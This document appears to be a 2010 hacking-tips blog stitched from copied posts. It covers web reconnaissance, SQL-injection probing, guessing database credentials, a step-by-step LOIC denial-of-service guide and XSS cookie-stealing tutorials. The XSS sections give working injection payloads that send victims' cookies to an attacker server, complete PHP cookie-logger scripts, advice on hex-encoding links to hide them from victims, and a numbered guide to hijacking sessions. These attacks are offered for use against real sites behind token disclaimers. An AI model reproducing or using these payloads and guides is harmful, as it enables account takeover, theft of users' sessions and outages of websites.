Tips tricks Hacker

Hello, this is just a short article about webhacking and the basics (mostly tips).
There's not much to say, so here I'll start...

1. Check for robots.txt
Usually the directory is hxxp://www.targetsite.com/robots.txt
This can contain plenty of information. Even though not all sites have it.
robots.txt is used to restrict the Google bot's access in certain parts of a forum or a website.
It looks like this:

User-agent: *

Disallow: /forum/admin.php
Disallow: /forum/moderator.php
Disallow: /forum/include.php

etc.

2. Check if site is vulnerable to SQL injections
This can be checked with a simple apostrophe at the end.
For example, hxxp://www.targetsite.com/news.php?id=1'
If the page displays an error, then the site is vulnerable.
You may now proceed on injecting more queries and drawing various information.

3. Check for common directories
Sometimes site administrators forget to rename the dirs and leave them as default.
It's good to check for these directories as they can contain version info and other stuff that helps you determine if the site is vulnerable.
Common diretories are:

admin
admincp
mod
modcp
moderator
include
includes
logs
tmp
install

4. Port scanning
Gathering information about the server can also be useful.
Ping the site in cmd (you MUST know how to do this, if you don't, then just leave) and scan the IP (and no, don't limit the scan to 6000 as usual, f.ex 8080 is a common web port).
Don't forget to check the site with nslookup, MaXe's DNS guides cover this.
With this information you can figure out if the site has vulnerabilities and stuff.
Now you can connect with the open port threw telnet. The syntax is telnet IP(or hostname) port. For example, telnet google.com 25.
For example, if the site has port 25 open, which is the SMTP (Simple mail transfer protocol) we can send emails threw the server.
Or even better, imagine there's port 3306 open. That's the SQL port. Threw this you can access the site's SQL database.
Download MySQL or something and try to clear your way in. You can try various combinations, like:

admin admin
admin root
root root
root admin

And so on. Though it's quite possible that you won't get anywhere guessing, so your best bet would be bruteforcing, dictionary attacks, rainbow tables or whatever can you afford.

5. Cookie poisoning
Even though most sites nowadays filter this, it wouldn't hurt to try.
We will do this...with javascript.
It's quite simple. Try this in the address bar.
javascript:alert(document.cookie);
In some cases this may spit out your username and password.
This is the part where you try the famous line...
javascript:void(document.cookie="username='OR'1'=' 1"); void(document.cookie="password='OR'1'='1");
Similar to SQL injection, you guessed it.

6. Check if site is vulnerable to XSS
XSS and javascript together open up a huge horizon of possibilities and a whole lot of new places to discover.
Check if the site is vulnerable by typing this in a webform or something.
<script>alert("awdwdadwd")</script>If site is vulnerable, then you will get a popup box saying awdwdadwd (yes this was random).
I won't say more about this since I suck at XSS.

Hope you enjoyed my article and have fun.
Keep in mind this is for purely educational purposes and I do NOT encourage anyone to go hack or try random websites. I'm strongly against that.
~Dragon[Sky] ;)

__________________

to get all latest hacking tips n tricks directly to ur inbox

well frns this post created by anonmyous members from 4chan.org nd i pick up this post from teachmafias.com

Now i will show you how to hack a website with Denial of service attack. For this tutorial we will be using one of the most effective and one of the least known tools called "Low Orbit Ion Cannon", created by Anonymous members from 4chan.org, this program is one of the best for DDoS'ing, and I have successfully used it to DDoS websites. An internet connection as bad as mine (2,500 kb/s) was able to keep a site down for a day with this program running. Remember that this tool will work best with high internet speeds, and try not to go for impossible targets (like Google, Myspace,Yahoo). LOIC is used on a single computer, but with friends it's enough to give sites a great deal of downtime.

Prerequisites: Download LOIC (Low Orbit Ion Cannon). Open up LOIC.

Step 1: Type the target URL in the URL box.

Step 2: Click lock on.

Step 3: Change the threads to 9001 for maximum efficiency.

Step 4: Click the big button " IMMA FIRIN MAH LAZAR!"

Feel free to tweak around with these settings and play around with the program to get the best performance. Then minimize and go do whatever you need to do, the program will take care of the rest

to get all latest hacking tips n tricks directly to ur inbox

Cross Site Scripting

Cross site scripting allows you to insert malicious code into a website. Normally it is used for javascript, but can also be used for php and html.

For a persistent XSS attack, the user will inject the code into an input in a form. Commonly done in poorly scripted forums.

A temp XSS attack is inserted into the URL, and only executed when someone views a specific link.. An example would be like.

Code:

http://www.example.com/search.php?&searchfor=<script>alert("XSS")</script>

In the previous example, I used

Code:

as an example. If the website was vulnerable to XSS, it would popup a messagebox which would say XSS.

XSS exists in almost every website that exists, just because people tend not to sanitize their form inputes.

Injecting HTML into a website via XSS would be done like:

Code:

That would just include the bold words XSS onto the webpage somehwere.

To deface a website using XSS, to insert an image you would use the code:

Code:

For a flash video:

Code:

<EMBED SRC="http://mywebsite.com/deface.swf"

For a looping hidden music file:

Code:

To redirect using XSS:

Code:

You can even steal cookies and fake a login using XSS.

How?

Well, let me show you. With a little piece of code

Code:

document.location = "http://myserver.com/cookielogger.php?c="+document.cookie

That would be the XSS code.

Although, if you're sending someone the link, you're going to want to encrypt the link using: http://ipchanged.com/surf.php?u=Oi8v...BocA%3D%3D&b=7or you could use tinyurl.

For the encryption, you would convert

Code:

to

Code:

3c:73:63:72:69:70:74:3e:61:6c:65:72:74:28:22:58:53:53:22:29:3c:2f:73:63:72:69:70:74:3e

But, for your browser to read it, there needs to be some commas in there.

Code:

3c,73,63,etc

The are some filters, and they are all possible to bypass. There is a cheat sheet at XSS (Cross Site Scripting) Cheat Sheet

Now, since I've made it seem like you have to send the users a link, I'm going to shine some light on some of your problems. If you happen to know that this person wont click a link, you can still possibly exploit XSS. Some forms on websites, which don't filter, will post something to the website somewhere.. Such as a forum. Say someone who was less than knowledgeable tried to code their own forum... Well, they might have everything working fine. But if you were to try to add XSS into a reply, or new thread.. Or even the name. You might be able to inject your own javascript, into permanent storage.
Keylogger.php:

Code:

<?php

/*

** Kr3w's Cookie Logger

** DemonFlyFF.com - First v15 FlyFF Private Server

*/

$ip = $_SERVER['REMOTE_ADDR'];

$cookie = $_GET['cookie'];

$referer = $_SERVER['HTTP_REFERER'];

$browser = $_SERVER['HTTP_USER_AGENT'];

$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"

."Cookie: " . $cookie . "\n"

."Referrer: " . $referer . "\n"

."Browser: " . $browser . "\n\n";

$log = "cookies.txt";

@chmod($log, 0777);

$f = fopen($log, 'a');

fwrite($f, $data);

fclose($f);

@header("Location: $redirect");

?>

Notice:Please do not copy this article if you copy it kindly provide a link back to this article.Licensed under creative common licenses

to get all latest hacking tips n tricks directly to ur inbox

Introduction
XSS (cross site scripting) is usually criticized. It is said that XSS can do nothing, actually. All it can do is make a nice little alert box on your screen, telling you your cookies. That is a wrong assumption. Although it may be slightly difficult, you can use XSS to steal a user’s cookies. Cookies are used to store valuable information such as Username, Password, IP address and much more. This tutorial aims at teaching you Cookie Stealing, and by the end of this text file, you should be able to independently steal other people’s cookies.
DISCLAIMER:
This text is for educational purposes only. The author will not be held liable for any damages that occur from a reader for following this text or even learning from it.

Now we need to understand a bit more about how XSS actually works before moving on. From the above article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code:

Code:

<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>

We want to exploit this page using XSS. How do we do that? We know that we want to inject our own script into the value field (this field is tied to the search box we can enter text into). We could start by using a test script:

Code:

<script>alert("test")</script>

When we enter this into the search box and click search, nothing happens. Why? It's still inside the value quotes, which turn the entire script into plaintext. If you look at the page source now, you see that the above portion of code now looks like this:

Code:

<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>

Note the quotes around our script. So what do we do? We need to end the value field before our script can actually be executed. So we tweak our test injection a bit:

Code:

"><script>alert("test")</script>

This should close the quotes end the input section so that our script can be rendered as a part of the source instead of plaintext. And now when we hit enter we get a nice pop-up box saying "test", showing us our script was executed. Keep in mind that you're not actually writing this data to the server (unless you're injecting it with a script that actually modifies the page on the server's end also, like a guestbook or comment script), just changing how the dynamic page is acting on your end. If you want someone else to see what you see when you use this injection, you need to send them the link with that injection already in the page. For example,

Code:

http://www.site.com/search.php?q="><script>alert("test")</script>

Of course, if you don't want the recipient to see the injection, you'll need to hex the query. You can do that here:

Code:

http://centricle.com/tools/ascii-hex/

Hexing the query of this url gives us

Code:

http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e

The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript knowledge is definitely helpful for finding more complicated ones, but code like the above works often enough.

Using XSS to Steal Cookies

OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?

The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.

First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):

Code:

<?php 

function GetIP() 
{ 
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
  $ip = getenv("HTTP_CLIENT_IP"); 
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
  $ip = getenv("HTTP_X_FORWARDED_FOR"); 
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
  $ip = getenv("REMOTE_ADDR"); 
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
  $ip = $_SERVER['REMOTE_ADDR']; 
 else 
  $ip = "unknown"; 
 return($ip); 
} 

function logData() 
{ 
 $ipLog="log.txt"; 
 $cookie = $_SERVER['QUERY_STRING']; 
 $register_globals = (bool) ini_get('register_gobals'); 
 if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
 else $ip = GetIP(); 

 $rem_port = $_SERVER['REMOTE_PORT']; 
 $user_agent = $_SERVER['HTTP_USER_AGENT']; 
 $rqst_method = $_SERVER['METHOD']; 
 $rem_host = $_SERVER['REMOTE_HOST']; 
 $referer = $_SERVER['HTTP_REFERER']; 
 $date=date ("l dS of F Y h:i:s A"); 
 $log=fopen("$ipLog", "a+"); 

 if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); 
 else 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); 
 fclose($log); 
} 

logData(); 

?>

This script will record the cookies of every user that views it.

Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:

Code:

"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>

yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened. Note that this injection will only work properly if you aren't actually modifying the page source on the server's end. Otherwise the unmodified page will actually be the modified page and you'll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to our stealer:

Code:

"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>

This will eliminate the looping problem since the user has to cilck on it for it to work, and it's only a one-way link. Of course, then the user's trail ends at your cookie stealing script, so you'd need to modify that code a little to keep them from suspecting what's going on. You Could just add some text to the page saying something like "under construction" by changing the end of our php script from this:

Code:

logData(); 
?>

to this:

Code:

logData();

echo '<b>Page Under Construction</b>'
?>

Now when you open log.txt, you should see something like this:

Code:

IP: 125.16.48.169 | PORT: 56840 | HOST:  |  Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD:  | REF: http://www.ifa.org.nz/search.php |  

DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:  cookie=PHPSESSID=889c6594db2541db1666cefca7537373

You will most likely see many other fields besides PHPSESSID, but this one is good enough for this example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify all your cookie's fields to match the data from the cookie in your log file and refresh the page. The server thinks you're the user you stole the cookie from. This way you can log into accounts and many other things without even needing to know the passwords or usernames.

Summary

So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.

to get all latest hacking tips n tricks directly to ur inbox

Tips tricks Hacker

Sabtu, 27 November 2010

Webhacking Basics 22.17

Hack website with ddos attack using *(LOIC) 08.44

Jumat, 26 November 2010

Hack website using xss 00.43

Stealing Cookie With XSS 00.30

Using XSS to Steal Cookies

Summary

Labels

Blog Archive

About Me